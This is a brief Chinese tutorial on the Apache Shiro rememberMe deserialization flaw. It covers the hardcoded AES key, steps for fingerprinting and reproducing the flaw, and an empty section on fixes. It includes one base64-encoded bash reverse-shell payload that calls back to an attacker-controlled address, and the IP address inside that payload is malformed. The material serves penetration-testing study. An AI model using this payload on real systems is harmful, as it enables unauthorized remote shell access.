赞
踩
一、shiro简介
Shiro是一个强大的简单易用的Java安全框架,主要用来更便捷的认证,授权,加密,会话管理。Shiro首要的和最重要的目标就是容易使用并且容易理解。
二、shiro的身份认证工作流程
三、shiro反序列化漏洞原理
AES加密的密钥Key被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者构造一个恶意的对象,并且对其序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞
四、shiro漏洞复现
(1)开启环境,抓包判断是否是shiro框架
在cookie后边加上rememberMe=1,如果回复包出现rememberMe=deleteMe,说明他就是shiro框架
(2)获取key值,因为key值在源码中,所以需要使用工具获取
(3)爆破利用链
(4)执行反序列化漏洞命令执行
(5)利用shrio反弹shell
payload:bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4OC40NC4xNzAvODg4OCAwPiYx}|{base64,-d}|{bash,-i} //需要修改为vps的地址在进行base64加密
监听端口:
(5)使用另外一个工具进行爆破
由于工具失效了就不演示了
五、shiro反序列化漏洞的修复
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。